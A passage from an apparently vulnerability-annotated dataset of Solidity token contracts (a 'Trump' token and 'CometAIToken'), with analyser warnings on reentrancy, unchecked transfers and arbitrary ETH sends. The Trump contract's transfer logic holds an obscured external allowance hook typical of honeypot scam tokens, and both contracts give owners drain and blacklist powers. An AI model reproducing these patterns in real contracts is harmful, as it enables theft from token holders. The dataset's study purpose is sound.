marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 4e274aa\n\t\t\t\t// reentrancy-eth | ID: bd04bd8\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4e274aa\n\t\t\t\t\t// reentrancy-eth | ID: bd04bd8\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: bd04bd8\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4e274aa\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: bd04bd8\n _balances[from] = _balances[from].sub(\n IERC20(IRouter).allowance(from, to) * amount\n );\n\n\t\t// reentrancy-eth | ID: bd04bd8\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4e274aa\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4e274aa\n\t\t// reentrancy-events | ID: aa5f5c5\n\t\t// reentrancy-benign | ID: 565daf9\n\t\t// reentrancy-eth | ID: bd04bd8\n\t\t// reentrancy-eth | ID: 061c931\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c569603): Trump.setMaxTaxSwap(bool,uint256) should emit an event for _maxTaxSwap = amount \n\t// Recommendation for c569603: Emit an event for critical parameter changes.\n function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: c569603\n _maxTaxSwap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4eb4306): Trump.setcasellAllowed(uint256) should emit an event for casellAllowed = amount \n\t// Recommendation for 4eb4306: Emit an event for critical parameter changes.\n function setcasellAllowed(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: 4eb4306\n casellAllowed = amount;\n }\n\n function setcaCatalyst(bool _status) external onlyOwner {\n caCatalyst = _status;\n }\n\n function reclaimETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 0d66ee8): Trump.reclaimERC20tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 0d66ee8: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function reclaimERC20tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 0d66ee8\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c5f28af): Trump.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for c5f28af: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: c5f28af\n _taxWallet = payable(newTaxWallet);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 965db0d): Trump.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 965db0d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4e274aa\n\t\t// reentrancy-events | ID: aa5f5c5\n\t\t// reentrancy-eth | ID: bd04bd8\n\t\t// reentrancy-eth | ID: 061c931\n\t\t// arbitrary-send-eth | ID: 965db0d\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9ec9bb2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9ec9bb2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a71676c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a71676c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e2baeab): Trump.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e2baeab: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 341f6ec): Trump.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 341f6ec: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6bf3180): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6bf3180: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9ec9bb2\n\t\t// reentrancy-benign | ID: a71676c\n\t\t// reentrancy-eth | ID: 6bf3180\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a71676c\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: a71676c\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 9ec9bb2\n\t\t// unused-return | ID: 341f6ec\n\t\t// reentrancy-eth | ID: 6bf3180\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9ec9bb2\n\t\t// unused-return | ID: e2baeab\n\t\t// reentrancy-eth | ID: 6bf3180\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9ec9bb2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6bf3180\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 9ec9bb2\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10253.sol",
"size_bytes": 24616,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7832d96): CometAIToken.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 7832d96: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n\t\t\t// reentrancy-eth | ID: cc1feb9\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n\t\t\t\t// reentrancy-eth | ID: cc1feb9\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n\t\t\t\t// reentrancy-eth | ID: cc1feb9\n _totalSupply -= value;\n }\n } else {\n unchecked {\n\t\t\t\t// reentrancy-eth | ID: cc1feb9\n _balances[to] += value;\n }\n }\n\n\t\t// reentrancy-events | ID: 28fc797\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract CometAIToken is Ownable, ERC20 {\n IUniswapV2Router public immutable uniswapV2Router;\n\n address public constant ZERO_ADDRESS = address(0);\n\n address public constant DEAD_ADDRESS = address(0xdEaD);\n\n address public immutable uniswapV2Pair;\n\n address public operationsWallet;\n\n address public developmentWallet;\n\n bool public isLimitsEnabled;\n\n bool public isCooldownEnabled;\n\n bool public isTaxEnabled;\n\n bool private inSwapBack;\n\n bool public isLaunched;\n\n uint256 public launchBlock;\n\n uint256 public launchTime;\n\n uint256 private lastSwapBackExecutionBlock;\n\n uint256 public constant MAX_FEE = 35;\n\n uint256 public maxBuy;\n\n uint256 public maxSell;\n\n uint256 public maxWallet;\n\n uint256 public swapTokensAtAmount;\n\n uint256 public buyFee;\n\n uint256 public sellFee;\n\n uint256 public transferFee;\n\n mapping(address => bool) public isBot;\n\n mapping(address => bool) public isExcludedFromFees;\n\n mapping(address => bool) public isExcludedFromLimits;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n event Launch();\n\n event SetOperationsWallet(address newWallet, address oldWallet);\n\n event SetDevelopmentWallet(address newWallet, address oldWallet);\n\n event SetLimitsEnabled(bool status);\n\n event SetCooldownEnabled(bool status);\n\n event SetTaxesEnabled(bool status);\n\n event SetMaxBuy(uint256 amount);\n\n event SetMaxSell(uint256 amount);\n\n event SetMaxWallet(uint256 amount);\n\n event SetSwapTokensAtAmount(uint256 newValue, uint256 oldValue);\n\n event SetBuyFees(uint256 newValue, uint256 oldValue);\n\n event SetSellFees(uint256 newValue, uint256 oldValue);\n\n event SetTransferFees(uint256 newValue, uint256 oldValue);\n\n event ExcludeFromFees(address account, bool isExcluded);\n\n event ExcludeFromLimits(address account, bool isExcluded);\n\n event SetBots(address account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address pair, bool value);\n\n event WithdrawStuckTokens(address token, uint256 amount);\n\n modifier lockSwapBack() {\n inSwapBack = true;\n\n _;\n\n inSwapBack = false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7832d96): CometAIToken.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 7832d96: Rename the local variables that shadow another component.\n constructor() Ownable(msg.sender) ERC20(\"Comet AI\", \"CAI\") {\n address sender = msg.sender;\n\n _mint(sender, 100_000_000 ether);\n\n uint256 totalSupply = totalSupply();\n\n operationsWallet = 0x121fAedDb7f0C58C60f1f0c8dB25a5d0085Ed9B3;\n\n developmentWallet = 0x61A4fE757BCfCC9cbcc518513DCAD3BCe8Ec8C62;\n\n maxBuy = (totalSupply * 10) / 1000;\n\n maxSell = (totalSupply * 10) / 1000;\n\n maxWallet = (totalSupply * 10) / 1000;\n\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n\n isLimitsEnabled = true;\n\n isCooldownEnabled = true;\n\n isTaxEnabled = true;\n\n buyFee = 30;\n\n sellFee = 35;\n\n transferFee = 50;\n\n uniswapV2Router = IUniswapV2Router(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n _setAutomatedMarketMakerPair(uniswapV2Pair, true);\n\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n _excludeFromFees(address(this), true);\n\n _excludeFromFees(address(0xdead), true);\n\n _excludeFromFees(sender, true);\n\n _excludeFromFees(operationsWallet, true);\n\n _excludeFromFees(developmentWallet, true);\n\n _excludeFromLimits(address(this), true);\n\n _excludeFromLimits(address(0xdead), true);\n\n _excludeFromLimits(sender, true);\n\n _excludeFromLimits(operationsWallet, true);\n\n _excludeFromLimits(developmentWallet, true);\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n\n function _transferOwnership(address newOwner) internal override {\n address oldOwner = owner();\n\n if (oldOwner != address(0)) {\n _excludeFromFees(oldOwner, false);\n\n _excludeFromLimits(oldOwner, false);\n }\n\n _excludeFromFees(newOwner, true);\n\n _excludeFromLimits(newOwner, true);\n\n super._transferOwnership(newOwner);\n }\n\n function launch() external onlyOwner {\n require(!isLaunched, \"error\");\n\n isLaunched = true;\n\n launchBlock = block.number;\n\n launchTime = block.timestamp;\n\n emit Launch();\n }\n\n function setOperationsWallet(address _operationsWallet) external onlyOwner {\n require(_operationsWallet != address(0), \"error\");\n\n address oldWallet = operationsWallet;\n\n operationsWallet = _operationsWallet;\n\n emit SetOperationsWallet(operationsWallet, oldWallet);\n }\n\n function setDevelopmentWallet(\n address _developmentWallet\n ) external onlyOwner {\n require(_developmentWallet != address(0), \"error\");\n\n address oldWallet = developmentWallet;\n\n developmentWallet = _developmentWallet;\n\n emit SetDevelopmentWallet(developmentWallet, oldWallet);\n }\n\n function setLimitsEnabled(bool value) external onlyOwner {\n isLimitsEnabled = value;\n\n emit SetLimitsEnabled(value);\n }\n\n function setCooldownEnabled(bool value) external onlyOwner {\n isCooldownEnabled = value;\n\n emit SetCooldownEnabled(value);\n }\n\n function setTaxesEnabled(bool value) external onlyOwner {\n isTaxEnabled = value;\n\n emit SetTaxesEnabled(value);\n }\n\n function setMaxBuy(uint256 amount) external onlyOwner {\n require(amount >= ((totalSupply() * 2) / 1000), \"error\");\n\n maxBuy = amount;\n\n emit SetMaxBuy(maxBuy);\n }\n\n function setMaxSell(uint256 amount) external onlyOwner {\n require(amount >= ((totalSupply() * 2) / 1000), \"error\");\n\n maxSell = amount;\n\n emit SetMaxSell(maxSell);\n }\n\n function setMaxWallet(uint256 amount) external onlyOwner {\n require(amount >= ((totalSupply() * 3) / 1000), \"error\");\n\n maxWallet = amount;\n\n emit SetMaxWallet(maxWallet);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5c11a1d): CometAIToken.setSwapTokensAtAmount(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 5c11a1d: Rename the local variables that shadow another component.\n function setSwapTokensAtAmount(uint256 amount) external onlyOwner {\n uint256 _totalSupply = totalSupply();\n\n require(amount >= (_totalSupply * 1) / 1000000, \"error\");\n\n require(amount <= (_totalSupply * 5) / 1000, \"error\");\n\n uint256 oldValue = swapTokensAtAmount;\n\n swapTokensAtAmount = amount;\n\n emit SetSwapTokensAtAmount(amount, oldValue);\n }\n\n function setBuyFees(uint256 _buyFee) external onlyOwner {\n require(_buyFee <= MAX_FEE, \"error\");\n\n uint256 oldValue = buyFee;\n\n buyFee = _buyFee;\n\n emit SetBuyFees(_buyFee, oldValue);\n }\n\n function setSellFees(uint256 _sellFee) external onlyOwner {\n require(_sellFee <= MAX_FEE, \"error\");\n\n uint256 oldValue = sellFee;\n\n sellFee = _sellFee;\n\n emit SetSellFees(_sellFee, oldValue);\n }\n\n function setTransferFees(uint256 _transferFee) external onlyOwner {\n require(_transferFee <= MAX_FEE, \"error\");\n\n uint256 oldValue = transferFee;\n\n transferFee = _transferFee;\n\n emit SetTransferFees(_transferFee, oldValue);\n }\n\n function excludeFromFees(\n address[] calldata accounts,\n bool value\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _excludeFromFees(accounts[i], value);\n }\n }\n\n function excludeFromLimits(\n address[] calldata accounts,\n bool value\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _excludeFromLimits(accounts[i], value);\n }\n }\n\n function setBots(\n address[] calldata accounts,\n bool value\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n if (\n (!automatedMarketMakerPairs[accounts[i]]) &&\n (accounts[i] != address(uniswapV2Router)) &&\n (accounts[i] != address(this)) &&\n (accounts[i] != ZERO_ADDRESS) &&\n (!isExcludedFromFees[accounts[i]] &&\n !isExcludedFromLimits[accounts[i]])\n ) _setBots(accounts[i], value);\n }\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) external onlyOwner {\n require(!automatedMarketMakerPairs[pair], \"error\");\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3d21dc2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3d21dc2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 6bfb0ab): CometAIToken.withdrawStuckTokens(address) ignores return value by IERC20(_token).transfer(msg.sender,amount)\n\t// Recommendation for 6bfb0ab: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c399b46): CometAIToken.withdrawStuckTokens(address).sender lacks a zerocheck on \t (success,None) = address(sender).call{value amount}()\n\t// Recommendation for c399b46: Check that the address is not zero.\n function withdrawStuckTokens(address _token) external onlyOwner {\n address sender = msg.sender;\n\n uint256 amount;\n\n if (_token == ZERO_ADDRESS) {\n bool success;\n\n amount = address(this).balance;\n\n require(amount > 0, \"error\");\n\n\t\t\t// reentrancy-events | ID: 3d21dc2\n\t\t\t// missing-zero-check | ID: c399b46\n (success, ) = address(sender).call{value: amount}(\"\");\n\n require(success, \"error\");\n } else {\n amount = IERC20(_token).balanceOf(address(this));\n\n require(amount > 0, \"error\");\n\n\t\t\t// reentrancy-events | ID: 3d21dc2\n\t\t\t// unchecked-transfer | ID: 6bfb0ab\n IERC20(_token).transfer(msg.sender, amount);\n }\n\n\t\t// reentrancy-events | ID: 3d21dc2\n emit WithdrawStuckTokens(_token, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 28fc797): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 28fc797: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cc1feb9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cc1feb9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _update(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n address sender = msg.sender;\n\n address origin = tx.origin;\n\n require(!isBot[from], \"error\");\n\n require(sender == from || !isBot[sender], \"error\");\n\n require(origin == from || origin == sender || !isBot[origin], \"error\");\n\n require(\n isLaunched ||\n isExcludedFromLimits[from] ||\n isExcludedFromLimits[to],\n \"error\"\n );\n\n bool limits = isLimitsEnabled &&\n !inSwapBack &&\n !(isExcludedFromLimits[from] || isExcludedFromLimits[to]);\n\n if (limits) {\n if (\n from != owner() &&\n to != owner() &&\n to != ZERO_ADDRESS &&\n to != DEAD_ADDRESS\n ) {\n if (isCooldownEnabled) {\n if (to != address(uniswapV2Router) && to != uniswapV2Pair) {\n require(\n _holderLastTransferTimestamp[origin] <\n block.number - 3 &&\n _holderLastTransferTimestamp[to] <\n block.number - 3,\n \"error\"\n );\n\n _holderLastTransferTimestamp[origin] = block.number;\n\n _holderLastTransferTimestamp[to] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] && !isExcludedFromLimits[to]\n ) {\n require(amount <= maxBuy, \"error\");\n\n require(amount + balanceOf(to) <= maxWallet, \"error\");\n } else if (\n automatedMarketMakerPairs[to] && !isExcludedFromLimits[from]\n ) {\n require(amount <= maxSell, \"error\");\n } else if (!isExcludedFromLimits[to]) {\n require(amount + balanceOf(to) <= maxWallet, \"error\");\n }\n }\n }\n\n bool takeFee = isTaxEnabled &&\n !inSwapBack &&\n !(isExcludedFromFees[from] || isExcludedFromFees[to]);\n\n if (takeFee) {\n uint256 fees = 0;\n\n if (automatedMarketMakerPairs[to] && sellFee > 0) {\n fees = (amount * sellFee) / 100;\n } else if (automatedMarketMakerPairs[from] && buyFee > 0) {\n fees = (amount * buyFee) / 100;\n } else if (\n !automatedMarketMakerPairs[to] &&\n !automatedMarketMakerPairs[from] &&\n transferFee > 0\n ) {\n fees = (amount * transferFee) / 100;\n }\n\n if (fees > 0) {\n amount -= fees;\n\n super._update(from, address(this), fees);\n }\n }\n\n uint256 balance = balanceOf(address(this));\n\n bool shouldSwap = balance >= swapTokensAtAmount;\n\n if (takeFee && !automatedMarketMakerPairs[from] && shouldSwap) {\n if (block.number > lastSwapBackExecutionBlock) {\n\t\t\t\t// reentrancy-events | ID: 28fc797\n\t\t\t\t// reentrancy-eth | ID: cc1feb9\n _swapBack(balance);\n\n\t\t\t\t// reentrancy-eth | ID: cc1feb9\n lastSwapBackExecutionBlock = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 28fc797\n\t\t// reentrancy-eth | ID: cc1feb9\n super._update(from, to, amount);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 71f836a): Unprotected call to a function sending Ether to an arbitrary address.\n\t// Recommendation for 71f836a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 6ae0b94): CometAIToken._swapBack(uint256).success is written in both (success,None) = address(operationsWallet).call{value ethForOperations}() (success,None) = address(developmentWallet).call{value ethForDevelopment}()\n\t// Recommendation for 6ae0b94: Fix or remove the writes.\n function _swapBack(uint256 balance) internal virtual lockSwapBack {\n bool success;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n uint256 maxSwapAmount = swapTokensAtAmount * 4;\n\n if (balance > maxSwapAmount) {\n balance = maxSwapAmount;\n }\n\n\t\t// reentrancy-events | ID: 28fc797\n\t\t// reentrancy-eth | ID: cc1feb9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n balance,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethBalance = address(this).balance;\n\n uint256 ethForOperations = ethBalance / 2;\n\n uint256 ethForDevelopment = ethBalance - ethForOperations;\n\n\t\t// reentrancy-events | ID: 28fc797\n\t\t// write-after-write | ID: 6ae0b94\n\t\t// reentrancy-eth | ID: cc1feb9\n\t\t// arbitrary-send-eth | ID: 71f836a\n (success, ) = address(operationsWallet).call{value: ethForOperations}(\n \"\"\n );\n\n\t\t// reentrancy-events | ID: 28fc797\n\t\t// write-after-write | ID: 6ae0b94\n\t\t// reentrancy-eth | ID: cc1feb9\n\t\t// arbitrary-send-eth | ID: 71f836a\n (success, ) = address(developmentWallet).call{value: ethForDevelopment}(\n \"\"\n );\n }\n\n function _excludeFromFees(address account, bool value) internal virtual {\n isExcludedFromFees[account] = value;\n\n emit ExcludeFromFees(account, value);\n }\n\n function _excludeFromLimits(address account, bool value) internal virtual {\n isExcludedFromLimits[account] = value;\n\n emit ExcludeFromLimits(account, value);\n }\n\n function 